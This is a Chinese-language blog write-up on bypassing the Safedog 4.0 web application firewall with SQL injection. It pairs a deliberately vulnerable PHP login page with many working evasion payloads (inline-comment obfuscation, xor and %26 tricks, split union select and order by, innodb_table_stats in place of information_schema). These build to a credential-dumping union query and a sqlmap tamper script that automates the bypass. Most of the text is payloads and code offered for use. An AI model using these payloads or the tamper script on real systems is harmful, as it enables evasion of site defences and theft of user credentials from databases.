

SQL注入Bypass安全狗4.0

SQL注入Bypass安全狗4.0

最近准备多搞搞实战，就准备从绕waf开始，第一位受害者就选安全狗4.0叭。

源代码：

```
PHP
1 <!DOCTYPE html>
2 <html>
3 <head>
4     <meta charset="UTF-8">
5     <title>check</title>
6 </head>
7 <?php
8 $agent = $_SERVER['HTTP_USER_AGENT'];
9
10 include 'connection.php';
11
12 function LoginCheck()
13 {
14     if (isset($_GET['username']) && isset($_GET['password']) && !empty($_GET['username']) &&
        !empty($_GET['password'])) {
15         $username = trim(@$_GET['username']);
16         $password = trim(@$_GET['password']);
```

```
17     if (empty($username) || empty($password)) {
18         echo"
19             <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-
size:100% 100%; background-attachment: fixed;'>
20                 <br><br><br>
21                 <h1 style='font-family:verdana;color:red;text-align:center;font-size:40px;'>Not be
Empty</h1>
22             </body>
23             ";
24         exit();
25     }
26 }
27 else{
28     echo"
29         <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-
size:100% 100%; background-attachment: fixed;'>
30             <br><br><br>
31             <h1 style='font-family:verdana;color:red;text-align:center;font-size:40px;'>Input your
username and password</h1>
32         </body>
33         ";
34     exit();
35 }
36
37 return array($username,$password);
38 }
39
40 function MysqlSelect($conn,$data)           //注册
41 {
42     $sql = "select * from geekuser where username='".$data[0]."' and password='".$data[1]."'";
43     $result = mysqli_query($conn,$sql);
```

```

44     if ($result) {
45         $row = mysqli_fetch_assoc($result);
46         if ($row) {
47             echo "
48                 <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-
size:100% 100%; background-attachment: fixed;'>
49                     <br><br><br>
50                     <h1 style='font-family:verdana;color:red;text-align:center;'>Login Success!</h1><br><br>
51                     <br>
52                     <p style='font-family:arial;color:#ffffff;font-
size:30px;left:650px;position:absolute;'>Hello ".$row['username']."! </p>". "</br></br>
53                     <p style='font-family:arial;color:#ffffff;font-
size:30px;left:650px;position:absolute;'>Your password is '". $row['password'] ."'</p>
54                 </body>
55             ";
56         }else{
57             echo "
58                 <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-
size:100% 100%; background-attachment: fixed;'>
59                     <br><br><br>
60                     <h1 style='font-family:verdana;color:red;text-align:center;font-size:70px;'>NO,Wrong
username password! ! ! </h1>
61                 </body>
62             ";
63         }
64     }else {
65         echo"
66         <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100%
100%; background-attachment: fixed;'>
67             <br><br><br>

```

```
68         <h1 style='font-family:verdana;color:#ffffff;text-align:center;font-size:15px'>
69         ".
70         mysqli_error($conn)
71         ."</h1>
72     </body>";
73 }
74 }
75
76 $data = LoginCheck();
77 MysqlSelect($conn,$data);
78
79 ?>
80 </html>
```

1=1绕过

'and 1=1-- - 被拦截:

&符号可以绕



TEXT



```
1 '%261-- -
2 '%26true-- -
3 '%260-- -
4 '%26false-- -
```

xor同样可以绕:



TEXT



```
1 'Xor 1-- -
2 'Xor true-- -
```

'or length(database())=4)-- - 会被ban, 这样绕:

```
1
2 '%26(length(database/**/())=4)-- -
3 '%26(ascii(@@version)=53)-- -
```

这样也可以

```
1 1'or -1=-1-- -
2 1'or -0=-0-- -
3 ...
```

TEXT

内敛注释:

```
1'or /*!1=1*/-- -
```

TEXT

或者简单粗暴点的 直接绕过and和or:

```
1 /*!11440OR*/
2 /*!11440AND*/
```

TEXT

order by 绕过

%23%0a绕过



TEXT



order%23%0aby 3

内敛注释加注释绕过:



TEXT



```
1 1'/*!order /*!/*/**/by*/4-- -
2 1'/*!order /*!/*%/**/by*/4-- -
3 1'/*!order /*!/*/**//**/by*/4-- -
4 1'/*!order /*!/*/**//*/by*/4-- -
```

同样类似上面绕过and方法:



TEXT



/*!11440order*/

union select绕过:

利用内敛注释与注释的混淆绕过



TEXT



```
1'/*!union/*!/*/***/select/**/1,2,'cl4y'-- -
```

#这个地方select后面的/**/要加, 不过如果语句复杂一点就不用加了。

Login Success!

Hello 2!

Your password is 'cl4y'

cl4y @ Syclover

e Memory Application Security Audits Adblock Plus HackBar EditThisCookie

▼ XSS ▼ LFI ▼ SSTI ▼ ENCODING ▼ HASHING ▼

tml/check.php?username=admin&password=1'/*!union/*!/*/**/*/*select/**/1,2,'cl4y'-- -

`/*!11440union*/:`



TEXT



```
1  /*!11440union*/
2  /*!select/*!/*/**/*!
```

系统函数绕过

单独的括号和函数名都不会检测，思路就是分开函数名和括号就行：



TEXT



```
1  version ()      #直接空格
2  user%0a()      #这个地方%0a~%20有很多，类似绕过空格
3  database/**/()  #注释符
4  user/*!*/()     #内敛注释
5  ...
```

函数名绕过

在报错注入的时候可以用这个格式绕过：



TEXT



```
1  /*!extractvalue/*!/*/**/*!
2  /*!updatexml/*!/*/**/*!
3  ...
```

information_schema.*绕过

这个地方没有找到方法绕过,不过Mysql>5.6.xmysql 库里增添了两个新表, innodb_index_stats 和 innodb_table_stats 这两个表是数据库自动设置的。存储数据库和对应的数据表。安全狗没有对这两个表检测, 详见[这篇文章](#)

最后就可以拖库了：



IS ▾ LFI ▾ SSTI ▾ ENCODING ▾ HASHING ▾

.php?username=admin&password=1'/*!union/*!/*/***/select/**/ 1,username,password from l0ve1ysq1 limit 1,1-- -

总结（干货）

有几个万能绕过的payload：

安全狗会正则想要ban掉的字符，比如如果将一个参数分割之后union select两个单词顺序出现就会ban掉，这里就利用正则的缺陷，让union或select不能单独分离出来，就可以绕过，比如这几个payload：

```
1 #针对两个关键字连用或者函数
2 /*!union/*!/*/***/select/**/
3 /*!database/*!/*/***/(/**/
4 /*!order/*!/*/***/by/**/
5 #针对单独的一个关键字
6 /*!union/*!/*/***/
7 /*!updatexml/*!/*/***/
8 /*!extractvalue/*!/*/***/
```

以上亲测好用，我觉得有这种payload，安全狗就是纸窗户qwq。

最后附上tamper脚本：

```
1 #!/usr/bin/env python
2 # -*- coding: UTF-8 -*-
3
4 from lib.core.enums import PRIORITY
5 from lib.core.settings import UNICODE_ENCODING
6
```

```
7 __priority__ = PRIORITY.LOWEST
8
9 def dependencies():
10     pass
11
12 def tamper(payload, **kwargs):
13
14     if payload:
15         payload=payload.replace("=", "/*!*/=/*!*/")
16         payload=payload.replace("ORDER", "/*!ORDER/*!/*/***/")
17         payload=payload.replace("AND", "/*!AND/*!/*/***/")
18         payload=payload.replace("OR", "/*!OR/*!/*/***/")
19         payload=payload.replace("UNION", "/*!UNION/*!/*/***/")
20         payload=payload.replace("SELECT", "/*!SELECT/*!/*/***/")
21         payload=payload.replace("USER()", "/*!USER/*!/*/***/()/**/")
22         payload=payload.replace("DATABASE()", "/*!DATABASE/*!/*/***/()/**/")
23         payload=payload.replace("VERSION()", "/*!VERSION/*!/*/***/()/**/")
24         payload=payload.replace("SESSION_USER()", "/*!SESSION_USER/*!/*/***/()/**/")
25         payload=payload.replace("EXTRACTVALUE", "/*!EXTRACTVALUE/*!/*/***/()/**/")
26         payload=payload.replace("UPDATEXML", "/*!UPDATEXML/*!/*/***/")
27
28     return payload
```